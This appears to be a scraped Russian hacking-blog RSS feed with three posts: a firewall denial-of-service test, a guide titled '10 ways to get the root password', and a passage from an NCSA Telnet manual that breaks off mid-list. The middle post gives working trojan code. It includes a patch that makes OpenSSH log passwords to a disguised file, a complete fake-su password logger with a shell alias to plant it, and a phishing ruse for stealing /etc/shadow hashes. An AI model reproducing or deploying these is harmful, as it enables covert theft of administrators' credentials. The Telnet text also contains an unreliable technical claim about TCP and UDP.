<p>Заниматься мы будем простейшим и в то же время важнейшим делом &#8212; валить систему в синий экран всеми доступнымии способами. Вот щас и выясним &#8212; кто тут лидер ))).</p>
<p>А если говорить интелегентно &#8212; мы будем испытывать фаерволы на предмет противодействия атакам, вызывающим отказ в обслуживании,.. и не только.<br />
Предполагается начальные знания читателя основы ТСР\!Р протокола, а также некоторого хакерского опыта smile.gif .</p>
<p>Итак, мы имеем:</p>
<p>1. Винда ХРеновая\SamPostavil_2, пропатченная под завязку.<br />
2. Фаерволы популярные:<br />
- Kaspersky AntiHacker v.1.7.130<br />
- OutpostPro_v3.0.543.431 RUS Final<br />
- ZoneAlarm_PRO_60.667<br />
2. Четыре вида флудеров: SYN, ICMP, IGMP, UDP.<br />
3. Вагон нюкеров с маленькой тележкой: WinNuke, SmbDie, Fragmentation&#8230;.<br />
4. Три самых популярных масдайных эксплоита\червя: LoveSun, Sasser, Messenger, UP&#038;P.<br />
5. Снифер, крутой и професиональный.<br />
6. Сканер портовый, многофункциональный.<br />
7. Мозг &#8212; воспалённый, руки &#8212; выпрямленные smile.gif</p>
<p>Замечу что производители этих фаерволов обещали защищать нас конкретно от:</p>
<p>1. Kaspersky AntiHacker v.1.7.130</p>
<p>* Ping of Death- Эта атака состоит в отправке на ваш компьютер ICMP &#8212; пакета, размер которого превышает допустимое значение в 64 КБ. Эта атака может привести к аварийному завершению работы.<br />
* Land &#8212; Эта атака заклюсается в отправке на ваш компьютер большого количества запросов на установку соединения с самим собой. Атака приводит к тому, что компьютер не реагирует на другие попытки установить соединения.<br />
* Сканирование TCP-портов &#8212; Эта атака заключается в попытке определить открытые TCP-порты на вашем компьютере. Атака используется для поиска слабых мест и предшествует более опасным атакам.<br />
* Сканирование UDP-портов &#8212; Эта атака заключается в попытке определить открытые UDP-порты на вашем компьютере. Атака используется для поиска слабых мест и предшествует более опасным атакам.<br />
* SYN-Flood &#8212; Эта атака заключается в отпраке на ваш компьютер большого кол-ва запросов на установку соединения. Атака приводит к тому, что компьютер не реагирует на другие попытки установить соединения.<br />
* UDP-Flood &#8212; Эта атака заключается в отправке специальных UDP-пакетов, которые бесконечно пересылаються между атакованными компьютерами. В результате атаки тратяться ресурсы компьютеров и загружается центральный процессор.<br />
* ICMP-Flood &#8212; Эта атака заключается в отправке большого кол-ва ICMP-пакетов на ваш компьютер. Атака приводит к большому росту загрузки процессора в силу реагирования на каждый пакет.<br />
* Helkern &#8212; Эта атака заключается в в отпраке на ваш компьютер UDP-пакетов специального вида, способных выполнить вредоносный код. Атака приводит к замедлению работы в интернете.<br />
* SmbDie &#8212; Эта атака заключается в попытке установить соединение с вашим компьютером по SMB-протоколу, в случае успеха на компьютер отправляется пакет особого вида, который пытаеться переполнить буфер. Атаке подвержены ОС Windows 2k\XP\NT.<br />
* Lovesan &#8212; Эта атака заключается в попытке обнаружения на вашем компьютере бреши в сервисе DCOM_RPC операционной системе Windows и пересылке вредоносной программы с её использованием, которая потенциально позволит производить любые манипуляции на вашем компьютере.</p>
<p>2. OutpostPro_v3.0.543.431 RUS Final</p>
<p>* Сканирование порта &#8212; атакующий запрашивает TCP и UDP порты Вашей системы, чтобы определить к какому порту он может подсоединиться, чтобы получить контроль.<br />
* Denial of Service &#8212; Большое кол-во данных посылается на порт вашей системы при попытке вызвать ошибку или зависание системы.<br />
* Fragmented ICMP &#8212; пакет ICMP, посланный в виде фрагментов, превышает 1472 байта после сборки. Это может привести к сбоям в стеке TCP и зависанию системы.<br />
* Fragmented IGMP &#8212; пакет IGMP, посланный в виде фрагментов, превышает 1472 байта после сборки. Это может привести к сбоям в стеке TCP и зависанию системы.<br />
* Short fragments &#8212; Пакет разбивается на несколько фрагментов, которые затем изменяються таким образом, что после сборки пакет приводит к зависанию системы.<br />
* Teardrop &#8212; ещё один вид Short fragments атаки.<br />
* My Address &#8212; Атака, состоящая в перехвате IP &#8212; адреса Вашей системы, имитации системы в сети и захвате всех соединений.<br />
* Перекрывающиеся фрагменты &#8212; Пакет разбивается на несколько фрагментов , которые затем изменяються таким образом, что накладываються друг на друга и вызывают зависание системы из-зи ошибок памяти.<br />
* WinNuke &#8212; Источник проблемы состоит в уязвимости протокола TCP, приводящей к зависанию некоторых версий операционных систем Windows при получении специфических пакетотв.<br />
* Nestea &#8212; опасное перекрытие IP &#8212; пакетов, вызываемое программой Nestea, может привести к нестабильности и зависанию системы.<br />
* Iseping &#8212; Большой ICMP пакет разбивается на большое число фрагментов. После сборки приводит к зависанию системы.<br />
* ICMP атака &#8212; TCP\IP стек Windows некорректно обрабатывает фрагментированные ICMP-пакеты. Система, получившая такой пакет, с большой вероятностью, зависнет.<br />
* Opentear &#8212; программа Opentear использует фрагментированные UDP-пакеты, чтобы подвергнуть компьютер жертвы перезагрузке.<br />
* Nuke &#8212; Попытка захватить TCP-соединение и обойти брандмауэр и другие системы обнаружения атак.<br />
* IGMP атака &#8212; TCP\IP стек Windows некорректно обрабатывает фрагментированные IGMP-пакеты. Система, получившая такой пакет, с большой вероятностью, зависнет.<br />
* Port139 &#8212; Фрейм с нулевым полем имени, который может привести системы Windows 95 или 98 к нестабильному состояниюили зависанию.<br />
* Неверное поле IP Options &#8212; атака использует переполнение буфера стэка TCP\IP (когда размер поля IP Options превышает 38 байт) для выполнения вредоносного кода на вашем компьютере.<br />
* Атака RPC DCOM &#8212; Различные черви и утилиты используют RPC_DCOM &#8212; уязвимость, что может привести к выполнению злонамеренного кода и падениям системы.<br />
* Отравление ARP-кеша &#8212; опасная атака направленная на перехват трафика.</p>
<p>3. ZoneAlarm_PRO_60.667</p>
<p>* Детектора атак нету<br />
* Зато защита ARP-кэша есть<br />
* А остальное надо ручками настраивать, ибо фаервол очень серьёзный.</p>
<p>Итак, приступим. Выставим фаерволам вот такие режимы. Для Касперского &#8212; это &#171;Высокий&#187;. Для Аутпоста &#8212; &#171;Блокировать&#187;. А вот Мистер Аларм на высоком уровне защиты блокировал ВСЕ мои домогательства (можно считать его вне конкуренции и лидером в области высокого уровня запрета), поэтому, чтоб было интересней, я его перевёл в средний режим тревожности.</p>
<p>Начнём сначала, испытывая флудеры:</p>
<p>* SYN-флудер<br />
*Без фаервола система падала секунд за 10.<br />
*Касперский, как положено, опознал атаку и заблокировал айпи негодяя, однако процессор всё равно грузился (?). Какого.. ! Видимо, приоритет загруженного драйвера фаервола стоит на равном (или ниже) виндового, в чем я так же убедился на других атаках. Это вери бэд, ибо по сути должного противодействия атаке не оказывается. Это означает, что если атакующих будет двое или более &#8212; системе пипец.<br />
*Аутпост не опознал атаку(замечу, что опознание флуд-атак в него не заложено!!!), и загрузка процессора была вдвое больше.<br />
*Аларм молчал (детектора атак у него вообще нет), однако каким-то чудом не давал процессору загружаться. Хм.. может флудер не правильный?..<br />
* ICMP-флудер<br />
*Касперский определяет флуд&#8230; и всё равно грузит проц.<br />
*Аутпост даже при стандартных настройках режет ICMP по самое не балуйся. Урезав всё вручную и оставив только необходимое он превратился в настоящую ICMP-крепость, которой до такого флуда просто пофиг. Респект.<br />
*Аларм был настроен на фильтрацию этих пакетов. Атака провалена.<br />
* IGMP-флудер<br />
*Без фаервола процессор грузился на 100%, однако система была работоспособна(приоритет IGMP низок).<br />
*Касперский не знает ничего об IGMP вообще и молчал. Процессор на 80%.<br />
*Outpost при первом включении обычно спрашивает, разрешать ли обработку IGMP. Нах. И так как IGMP был просто запрещен, проц &#8212; 50%.<br />
*Аларм был настроен на фильтрацию пакетов. Проц 35%.<br />
* UDP-флудер<br />
*Без фаерволов проц на 100%(приоритет удп выше чем тср) , система жутко тормозила, но (я оч удивлен) всё же выжила.<br />
*Касперский, как обычно всё распознал&#8230; и продолжал грузить процессор )))<br />
*Аутпост каким то неизвестным образом умудрялся противостоять натиску без блокировки.<br />
*Аларм как обычно молчал, не давая мне ни шанса ($ly ..!!!).</p>
<p>Теперь по-нюкаем</p>
<p>*Касперский опознал лишь LAND атаку &#8212; пожалуй единственную, которой подвержена ХР. Вобщем то можно сказать, что ставить фаервол от дяди каспера можно только на пропатченную ХР, так как если б это была другая винда &#8212; она свалилась бы без вопросов.<br />
*Аутпост как и было обещано опознал многие типы нюкеров. А вот с LAND как раз не справился.<br />
*По причине отсутствия детектора атак, Алармик был безмолвен. Если его ставить на старую систему, есть реальный шанс свалить её, при условии достаточно демократичных настроек фаервола.</p>
<p>Эксплоиты</p>
<p>Ну с DCOM&#8217;ом и Lsass&#8217;ом как оказалось, был знаком KAV и Outpost. А вот остальные сплоиты они видели явно впервые ) А ещё говорят, что если слегка переписать код эксплоита, то его ваще никто не замечает&#8230;</p>
<p>Снифер &#8212; тест</p>
<p>Теперь заценим новую фичу Аутпоста &#8212; защиту от отравления арп-кэша. Берём специальный снифер и травим кэш жертвы. Вот, без фаервола ВЕСЬ трафик между сервером и жертвой пошел через нас. А из него мы можем легко выловить пароли. Включаем Аутпост &#8212; тревожная табличка и все хакеры идут лесом ))).<br />
А так же обратим внимание на встроенный в Аутпост антиспайвэа-модуль, который призван находить в вашей системе разных шпионов. Фича полезная. Определила 3 из 3-х запущенных шпионских паблик-прог.<br />
Про огромную гору фишек в Аларме я рассказывать устану. Там их дофигища. Защита АРП-кэша имеется.</p>
<p>Сканим порты.<br />
Ну теперь &#8212; самое любимое ))</p>
<p>При сканировании нескольких портов каждый фаер сразу опознавал нарушителя, независимо от типа сканирования.</p>
<p>Теперь усложним задачу. Кто мешает нам посканить один порт? Прально. А если удасться, то через секунд 10 можно просканить и ещё один, и ещё&#8230;<br />
Сканить будем в два этапа. Оба &#8212; стелс-сканирование, первое поверхностное, второе &#8212; углубленное.</p>
<p>Скажу, что на поверхностном удалось просканить всех.</p>
<p>*Касперский показал неплохой результат, заблокировав хакера при начале углубленного скана.<br />
*Аутпост при стандартных настройках сканиться просто на ура. Однако слегка поднастроив детектор атак он показал отличный результат.<br />
*Аларм ничего не стал скрывать и устроил моему сканеру чистосердечное признание, сдав систему и сервисы с потрохами smile.gif))</p>
<p>Отключаем</p>
<p>Теперь просто и незатейлево пытаемся изменить настройки\отключить\деинсталировать фаервол и посмотрим его реакцию. Предположим, мы удаленно получили доступ к командной строке с привелегиями SYSTEM или Администратора. Из-за криво настроенного фаервола мы имеем сам доступ, однако нам этого мало и надо любой ценой устранить сетевой экран.</p>
<p>*Касперский абсолютно не возражал против отключения своего сервиса и убийства процесса. У него даже защиты паролем нет.<br />
*Аутпост был защищён паролем. Однако умер от простейшего тасккила с выгрузкой сервиса(можно сбацать сишную прогу с &#171;TerminateProcess&#187;)<br />
*Аларм послал меня куда подальше, вывел табличку с предупреждением. Мало того, он защищен паролем и от деинсталяции. Безупречно. Отключив таки сервис, загрузившись в безопасносном режиме, я снова потерпел неудачу.<br />
Оказывается, Аларм глубоко интегрируется в сетевые дровишки и при его несанкционированном отключении происходит полная блокировка сетевого трафика. Просто зверюга.</p>
<p>Кто здесь Лидер?</p>
<p>Ну вот. Чтож, могу сказать, что фаервол Касперского я бы назвал не Анти-Хакер, а Анти-Ламер ))) ибо защищает он лишь от них. Также использование его на системах, отличных от WinXP\SP2 будем иметь печальный итог. Тут уж я и не знаю кто кого и от кого защищает )).<br />
Меня сильно позабавил смачный глюк, когда несмотря на &#171;блокировку атакующего&#187; я таки смог определить открытые порты. Ето вери-вери бэд.</p>
<p>Аутпост показал неплохую устойчивость от различного вида атак. Огорчает его безразличие к флуду (однако айпи хакера можно легко посмотреть, открыв вкладку сетевой активности), но радует повышенная безопасность от сниферства, spy-детектор и гибкость настроек детектора атак (да и всех остальных модулей &#8212; оч. профессиональный подход). Почти некчему придраться.</p>
<p>Зон Аларм ваще зверь, но только при высоком уровне защиты. Видите ли, разработчики делали режимы фаервола в расчете на СТРАШНЫЙ Интернет и БЕЗОПАСНУЮ локальную сеть&#8230; Поэтому, если вам все надоели, вы хакер, единоличник, или агент FBI &#8212; ставьте Алармик и врубайте высокий режим защиты. Тогда достучаться до вас можно будет только через дверь.</p>
Файл 7f5ddbf668be432bbaf47f6ed1d47c4b/sape.php не найден!]]></content:encoded>
			<wfw:commentRss>http://suspended.ru/2010/05/%d0%bd%d0%b0%d0%b7%d0%b2%d0%b0%d0%bd%d0%b8%d0%b5-287/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>10 способов поиметь рутовый пароль</title>
		<link>http://suspended.ru/2010/05/%d0%bd%d0%b0%d0%b7%d0%b2%d0%b0%d0%bd%d0%b8%d0%b5-288/</link>
		<comments>http://suspended.ru/2010/05/%d0%bd%d0%b0%d0%b7%d0%b2%d0%b0%d0%bd%d0%b8%d0%b5-288/#comments</comments>
		<pubDate>Thu, 13 May 2010 05:05:39 +0000</pubDate>
		<dc:creator><![CDATA[admin]]></dc:creator>
				<category><![CDATA[Это интересно]]></category>
		<category><![CDATA[взлом]]></category>
		<category><![CDATA[интересно]]></category>
		<category><![CDATA[статьи]]></category>
		<category><![CDATA[хакер]]></category>

		<guid isPermaLink="false">http://suspended.ru/?p=596</guid>
		<description><![CDATA[Пожалуй, самая большая проблема в хаке – определение рутового пароля. Даже когда хакер сломал систему каким-либо эксплойтом, достать пароль не так то просто. Но на каждую гайку найдется свой болт, поэтому позволь тебе раскрыть 10 универсальных способов дознания этой важной инфы ;). Нет, тебе даже не потребуется встречаться с админом и поить его пивом до [&#8230;]]]></description>
				<content:encoded><![CDATA[<p style="text-align: justify;"><img class="alignleft size-full wp-image-76" style="margin: 10px;" title="internet" src="http://suspended.ru/wp-content/uploads/2010/05/internet296.jpg" alt="интернет" />Пожалуй, самая большая проблема в хаке – определение рутового пароля. Даже когда хакер сломал систему каким-либо эксплойтом, достать пароль не так то просто. Но на каждую гайку найдется свой болт, поэтому позволь тебе раскрыть 10 универсальных способов дознания этой важной инфы ;). Нет, тебе даже не потребуется встречаться с админом и поить его пивом до бессознательного состояния (а точнее, до состояния, в котором он раскроет тебе важную информацию). Все намного проще – существуют приемы, после применения которых, ты получишь root password. Естественно, все зависит от ситуации. Все они будут обговорены ниже.<br />
1. Поиск в Perl/PHP-скриптах.<br />
Очень действенный метод. Обычно админы из-за своей лени делают рутовый пароль на базу сходным с паролем в систему. А аккаунт к SQL можно найти&#8230;<span id="more-596"></span> правильно! В PHP и Perl скриптах. Перед этим узнается путь к WWW-каталогу (простым парсингом httpd.conf), после перехода в этот каталог ищется необходимая информация. Следует лишь учитывать, что PHP-скрипты часто используют инклуд-файлы (*.inc) с переменными для MySQL, Perl-сценарии хранят все в одном главном файле. Проверить пароль можно командой mysql –uroot –pПАРОЛЬ. Затем сравни его с системным (через /bin/su).<br />
Метод применяется при всех вариантах взлома.<br />
2. Поиск в HISTORY-файлах.<br />
Часто админы используют консольные программы, которым передают пароль прямо из командной строки. Это все записывается в history-файл под названием .bash_history (естественно, для других интерпретаторов название файла будет другим). Туда же может попасть инфа из-за ошибки админа в команде (я, например, видел то, как админ вместо “su” набрал “psu”, а затем свой пароль).<br />
Существует другой файл истории. Он называется .mysql_history и находится также в домашнем каталоге пользователя. Там ты можешь найти команды смены пароля для SQL-доступа. Этот пароль, возможно, совпадет с рутовым.<br />
Способ применим лишь когда имеется полный контроль над системой. Но случается такое, когда HISTORY-файлы имеют атрибут 644. Найти такие файлы (а затем прочитать) можно с помощью команды find / -perm 644 –name *_history.<br />
3. Поиск в .htpasswd.<br />
Когда в системе установлен Web-сервер, возможно обнаружить хеши-паролей в .htpasswd-файлах. Просто набери locate .htpasswd и ты увидишь список доступных файлов. Правда, файлы не будут прочитаны, когда у тебя лишь user-access, а на документе установлен атрибут, запрещающий read.<br />
Расшифровать такие хеши можно программой John The Ripper. Не мне тебя учить этим заниматься, поэтому считаю, что данный метод тебе понятен.<br />
4. Поиск в других файлах.<br />
Встречаются сервера, где пароли указываются в файлах сторонних приложений. К примеру, я сталкивался с ситуацией, когда рутовый пароль лежал в файле socks5.password.<br />
Внимание! Эти файлы могут оказаться недоступными для чтения. Поэтому, тут все зависит от ситуации&#8230;<br />
5. Заметки на полях.<br />
Часто админы оставляют важные файлы в своих каталогах. Они содержат некоторые заметки. Не исключено, что среди таковых ты можешь встретить и пароли. Я сам сталкивался с таким и нарыл рутовый пароль в файлике “notes”. Обращай повышенное внимание на подобные вещи.<br />
6. Поиск в логах.<br />
Да! Помимо обычной информации, логи могут содержать пароли. Например, radius ведет полный отчет об аутентификации (по умолчанию). Что парадоксально, эти логи доступны для чтения обычному пользователю. Из-за этого, становится возможным прочитать отчет авторизации, а, следовательно, узнать пароли (возможно, среди них будет и рутовый).<br />
7. Снифинг данных.<br />
Некоторые руткиты содержат в себе локальный снифер, который позволяет легко узнавать пароли на ssh (простая модификация /usr/bin/ssh с поддержкой логгинга ;)). Обычно такая поддержка и путь к файлу с логом указывается в документации руткита). Все хорошо, но огорчает лишь одно обстоятельство: большинство руткитов содержат старый ssh, который поддерживает лишь первый протокол. В итоге, хакер может выдать себя с потрохами.<br />
Но кто мешает собрать собственный ssh и включить в нем запоминание паролей? Правильно! Никто. Находим в пакете OpenSSH файлик с именем sshconnect1.c. Затем вставляем в его содержимое следующие строки:<br />
После строчки “snprintf(prompt, sizeof(prompt), &#171;%.30s@%.128s&#8217;s password: &#171;,server_user, host);”<br />
ifile=fopen(&#171;/boot/kernel.old&#187;,&#187;a&#187;);<br />
fprintf(ifile,&#187;session %s %s &#171;,server_user,host);<br />
fclose(ifile);<br />
После строчки “password = read_passphrase(prompt, 0);”<br />
ifile=fopen(&#171;/boot/kernel.old &#171;,&#187;a&#187;);<br />
fprintf(ifile,&#187;password is %s &#171;,password);<br />
fclose(ifile);<br />
Если все сделано правильно, ssh соберется без приключений. Теперь админ не заметит изъяна в системе, а ты узнаешь его пароль на ssh. Когда он ходит под рутом – это и будет рутовый пароль ;).<br />
8. Прикидываемся системным сервисом ;).<br />
Для осуществления этого способа достаточно написать небольшой скрипт, который читает /etc/shadow и гребет оттуда рутовый хэш. Это просто и писать сценарий я не буду (справишься сам). Затем пишется e-mail администратору, в котором говориться, что в системе обнаружен вирус, и для его лечения необходимо запустить специальную программу. Для полной убежденности, укажи системный путь к этой программе. Когда админ запустит твое творение (а сделает он это под рутом), ты уведешь его драгоценный хэш. Разумеется, тебе нужно напичкать свой сценарий разного рода надписями, что вирус излечен. Да, и не вздумай выкладывать исходник на диск в системе – админ его обязательно прочитает. Если пишешь на перле, после написания скомпилируй его в бинарник (perlcc –o file file.pl).<br />
9. Fake-su.<br />
Этот метод я описывал в одном из номеров Хакера (Юниксоид, Забавы в Linux). Из-за того, что юзеры, читавшие Хакер не посещают сайта (и наоборот), будет не лишним повторить мой хитрый прием.<br />
Итак, создается файл следующего содержания:<br />
#define SORRY &#171;Sorry&#187;<br />
#define PFILE &#171;tmp/.screen&#187;<br />
#define MYPATH &#171;tmp/.screen_active&#187;<br />
#include<br />
void sigexit(int no);<br />
int main() {<br />
char pass[40];<br />
char longs[100];<br />
int filep;<br />
signal(SIGINT, sigexit);<br />
printf(&#171;Password:&#187;);<br />
system(&#171;stty -echo&#187;);<br />
scanf(&#171;%s&#187;,pass);<br />
system(&#171;stty echo&#187;);<br />
printf(&#187; &#171;);<br />
filep=fopen(PFILE,&#187;w&#187;);<br />
fprintf(filep,&#187;Pass is %s &#171;,pass);<br />
fclose(filep);<br />
printf(&#171;%s &#171;,SORRY);<br />
strcpy(longs,&#187;&#187;);<br />
strcat(longs,&#187;/bin/ln -sf /bin/su &#171;);<br />
strcat(longs,MYPATH);<br />
system(longs);<br />
exit(0);<br />
}<br />
void sigexit(int no) {<br />
system(&#171;stty echo&#187;);<br />
printf(&#187; &#171;);<br />
exit(0);<br />
}</p>
<p>и обзывается su.c. Если вглядеться в простенький код можно понять, что это полная имитация /bin/su, только с логированием пароля в файл tmp/.screen. Сам бинарник будет находиться в файле tmp/.screen_active (все пути относительно домашнего каталога пользователя). После того, как файл выполнится он замещается стандартным /bin/su. Таким образом, админ думает, что ошибся паролем, так как со второй попытки суид будет успешным.<br />
Перед тем, как проверять данный метод на практике, впиши строчку “alias su /home/user/tmp/.screen_active в файл ~/.bash_profile и жди, пока админ решит суиднуться на рута. Когда это произойдет – пароль твой ;).</p>
<p>Данный метод работает лишь тогда, когда юзер регулярно суидиться на рута, а у хакера есть доступ к этому аккаунту (либо ко всей системе).<br />
10. Стандартный способ.<br />
И, наконец, настало время рассказать про самый тривиальный способ. Хакер захватывает систему и получает доступ к /etc/shadow. Далее, все по сценарию – берется расшифровщик, хороший словарь и вся надежда только на удачу. Я думаю, ты не раз сталкивался с применением этого метода. И, что интересно, постоянно забывал об остальных 9&#8230;</p>
Файл 7f5ddbf668be432bbaf47f6ed1d47c4b/sape.php не найден!]]></content:encoded>
			<wfw:commentRss>http://suspended.ru/2010/05/%d0%bd%d0%b0%d0%b7%d0%b2%d0%b0%d0%bd%d0%b8%d0%b5-288/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Telnet</title>
		<link>http://suspended.ru/2010/05/%d0%bd%d0%b0%d0%b7%d0%b2%d0%b0%d0%bd%d0%b8%d0%b5-280/</link>
		<comments>http://suspended.ru/2010/05/%d0%bd%d0%b0%d0%b7%d0%b2%d0%b0%d0%bd%d0%b8%d0%b5-280/#comments</comments>
		<pubDate>Thu, 13 May 2010 05:05:38 +0000</pubDate>
		<dc:creator><![CDATA[admin]]></dc:creator>
				<category><![CDATA[Это интересно]]></category>
		<category><![CDATA[взлом]]></category>
		<category><![CDATA[интересно]]></category>
		<category><![CDATA[статьи]]></category>
		<category><![CDATA[хакер]]></category>

		<guid isPermaLink="false">http://suspended.ru/?p=588</guid>
		<description><![CDATA[В Telnet, как правило, вкладывают два смысла. Во первых Telnet — это протокол эмуляции терминала, через который осуществляется удаленный доступ в Internet. А во вторых, telnet это программа UNIX с аналогичными функциями (пишется с маленькой буквы, ибо в UNIX это важно). Запустив такую программу, вы увидите на экране своего монитора удаленный терминал. Все это может [&#8230;]]]></description>
				<content:encoded><![CDATA[<p style="text-align: justify;"><img class="alignleft size-full wp-image-76" style="margin: 10px;" title="internet" src="http://suspended.ru/wp-content/uploads/2010/05/internet288.jpg" alt="интернет" />В Telnet, как правило, вкладывают два смысла. Во первых Telnet — это протокол эмуляции терминала, через который осуществляется удаленный доступ в Internet. А во вторых, telnet это программа UNIX с аналогичными функциями (пишется с маленькой буквы, ибо в UNIX это важно). Запустив такую программу, вы увидите на экране своего монитора удаленный терминал. Все это может быть реальностью только за деньги, То есть вы должны получить доступ в Internet на уровне Dial-up. Впрочем, в Internet существуют сервера, которые предоставляют бесплатный ограниченный доступ через Telnet к некоторым базам данных.<br />
Программа telnet через определенные команды позволяет управлять параметрами сеанса связи только через командный режим.<span id="more-588"></span> Это означает, что сначала вы коннектитесь с удаленным хостом и после того как нажимаете escape-последовательность, попадаете в командный режим telnet. Сеанс связи поддерживается как вашим софтом, так и софтом удаленной машины. Если копать глубже, то связь осуществляется через протокол TCP посредством пакетов UDP.<br />
Таким образом Telnet это:<br />
? регистрация на удаленном компьютере;<br />
? использование софта Internet, в том числе клиентских программ на удаленном компьютере.<br />
? запуск доступного софта на удаленном компьютере.<br />
Далее мы будем разбирать Telnet на основе программы NCSA Telnet. Этот софт предоставляет интерактивный доступ с писишного компьютера к телнетовским серверам сети TCP/IP.<br />
NSCA Telnet<br />
Многие, говоря о Telnet, подразумевают UNIX. А те, кто считают, что знают UNIX, работают в Internet через Telnet. Мы уходим от тех и от других. На время. Мы погрузимся в старый добрый DOS, так как NCSA Telnet работает в стандартной MS DOS.<br />
Запуск NCSA Telnet осуществляется после ввода следующей команды:<br />
telnet hostname<br />
Если все набрано правильно, то вы соединитесь с хостом hostname. Этот хост попросит вас ввести регистрационное имя и пароль.<br />
NCSA Telnet эмулирует терминал VT100. Но операционка удаленного хоста не может определить тип вашего терминала. Вы должны определить его сами. Для удаленных UNIX-компьютеров введите:<br />
newton% set term=vt100;tset<br />
Выход из NCSA Telnet зависит от того количества сессий, которое вы имеете в данный момент. То есть, вы должны разорвать связь с каждым хостом.<br />
Результатом ваших действий должно быть обычное приглашение вашей операционки.<br />
Вы также можете завершить сеанс через комбинацию клавиш Alt-X. Эта команда закрывает только текущую сессию.<br />
Лучшие клавиатурные эквиваленты<br />
? Alt-A Дополнительная сессия.<br />
? Alt-N Следующая сессия.<br />
? Alt-D Перехватить активный текст и послать его в файл.<br />
? Alt-Z Сделать сессию невидимой, но<br />
активизированной.<br />
? Alt-E Выйти в оболочку DOS.<br />
? Alt-G Графическое меню.<br />
? Alt-C Включить/отключить режим перехвата.<br />
? Alt-R Отключить экран VT100.<br />
? Alt-H Подсказка.<br />
? Alt-Y Прервать процесс.<br />
? Alt-B Предыдущая сессия.<br />
? Alt-O Блокировать вывод.<br />
? Alt-U Удалить строку.<br />
? Alt-K Удалить символ.<br />
? Alt-F Начать передачу файла.<br />
? Home Выйти из графического режима.<br />
? Alt-I Переслать IP-адрес удаленному компьютеру.<br />
? Alt-S Пропустить прокрутку.<br />
? Alt-P Изменить параметры.<br />
? Alt-X Закрыть соединение.<br />
Непонятный VT100 и ясный локальный терминал<br />
В NCSA Telnet терминал вашего компьютера отображается на удаленном компьютере как терминал VT100. Вы же работаете на PC. Поэтому некоторые клавиши вашего компьютера отличаются от аналогичных на VT100.<br />
Сразу несколько сессий? ОК!<br />
NCSA Telnet позволяет открывать несколько сессий одновременно. Для этого вы должны ввести:<br />
telnet hostname hostname &#8230;<br />
где hostname — имя компьютера, с которым вы коннектитесь.<br />
Что там есть в нашей строке состояния? Все!<br />
Терминал VT100 удаленного компьютера требует 24 строки. В 25 строке локального компьютера вы можете видеть состояние собственной сессии. Выделенные символы отображаются в нижнем левом углу. Все эти символы соответствуют удаленному хосту. Остальные символы могут отображать все что угодно.<br />
Открываем еще одну сессию<br />
Открыть еще одну сессию на текущем удаленном хосте или на другом хосте можно через клавиатурную комбинацию Alt-A.<br />
Указываем на хоста<br />
Вы можете телнетиться только через IP-адрес. Поэтому ваша первая задача — определить IP-адрес удаленного компьютера. Для этого настройте программу на поиск имен посредством соответствующей службы удаленного сервера.<br />
Прокручиваем в режиме обратной прокрутки<br />
Клавиша Scroll Lock позволяет не прокручивать экран, когда идет получение данных и включать/отключать режим обратной прокрутки. Режим обратной прокрутки дает вам возможность перемещать данные на экране стрелками или клавишами PgUp и PgDn. Помните, что в режиме обратной прокрутки нельзя оперировать командами telnet.<br />
Вырезаем и вставляем<br />
Находясь в режиме обратной прокрутки, вы можете копировать части текста одной сессии и вставлять эти части в другую. Попробуем скопировать текст в буфер и затем вставить его из буфера в новую сессию.<br />
1. Включите режим обратной прокрутки посредством нажатия клавиши Scroll Lock.<br />
2. Передвиньте курсор в начало текста и нажмите клавишу пробела.<br />
3. Передвиньте курсор в конец текста и нажмите клавишу пробела.<br />
4. Нажмите Alt-C. Выделенный текст скопирован.<br />
5. Выходим из режима обратной прокрутки и переключаемся на новую сессию посредством нажатия клавиш Alt-N или Alt-B.<br />
6. Помещаем курсор в желаемое место и нажимаем Alt-V.<br />
Выделенный текст помещен в новую сессию.<br />
Переключаемся между сессиями<br />
Переключиться между двумя активными сессиями можно через команду Alt-N. Имя активизированной сессии вы можете увидеть в левой нижней части экрана. Если вы хотите вернуться в старую сессию, то вы можете это сделать через команду Alt-B.<br />
Просматриваем сообщения экрана консоли<br />
Экран консоли отображает информацию, связанную с локальным и удаленным компьютером. Вызвать экран консоли вы можете через Alt-Z.<br />
Закрываем текущую сессию<br />
Командой Alt-X закрывается текущая сессия. Используя эту команду, мы наблюдали сбои на удаленном компьютере.<br />
Перехватываем текст экрана<br />
Если нажать Alt-C, то можно перехватить текст экрана и направить его в файл (то есть добавить текст к файлу capfile) или распечатать. Если вы повторно выберите команду Alt-C, вы отключите режим перехвата.<br />
Если в меню Parameters вместо стандартного файла для перехвата указать prn, то можно распечатать перехваченный текст.<br />
Невозможно перехватить текст активной сессии, если включен перехват в фоновой сессии. Решить эту проблему можно командой Alt-D.<br />
Игнорируем бесконечный текст<br />
Если вы хотите пропустить идущий бесконечным потоком текст, нажмите Alt-S. Вы пропустите текст только на экране, то есть сам текст будет находиться в буфере перехвата.<br />
Перезагружаем экран VT100<br />
Если вам не понравился текущий тип терминала и вы желаете установить новые параметры VT100 (точнее их установит удаленный компьютер), нажмите Alt-R. Параметры вашего экрана VT100, в этом случае, переустановятся таким образом, что отключится режим упаковки, разблокируется графический режим, а табуляторы установятся на каждую восьмую позицию.<br />
Все! Надоело! Больше не могу!<br />
Команда Ctrl-Shift-F3 применяется в том случае, когда ни одна из сессий не работает, Scroll Lock не горит, нажатие клавиш ALT-R и/или ALT-X не приводит ни к какому результату. После выполнения команды Ctrl-Shift-F3 вы выйдите из Telnet в DOS.<br />
Не разрывая связь, выходим в DOS<br />
Если вы хотите выйти в DOS и при этом оставаться в сессиях, нажмите Alt-E. В досовской оболочке вы можете использовать любые программы, кроме сетевой версии NCSA Telnet, сетевой версии программа FTP пользователя и программы format. Возврат в Telnet осуществляется командой exit.<br />
Устанавливаем параметры<br />
Если вы хотите изменить цвета, задать новый эхо-режим, настроить клавишу стирания символов, управлять режимом экрана и режимом пересылки файлов, дать другое имя сессии, типу терминала и файлу перехвата, нажмите Alt-P. После того, как вы в появившемся диалоговом окне Parameters модифицируете необходимые опции, нажмите клавишу F1 (для сохранения изменений) или Esc (для сохранения предыдущих параметров).<br />
Символы или строки?<br />
Вы можете воспользоваться достоинствами построчного режима в случае, если вам долго отвечает удаленный компьютер. Вы просто втаскиваете данные в буфер и пересылаете их единым пакетом на удаленный компьютер через нажатие клавиши Return. При этом вы можете воспользоваться следующими клавиатурными комбинациями:<br />
? если вы нажмете Ctrl-U, то буфер очистится.<br />
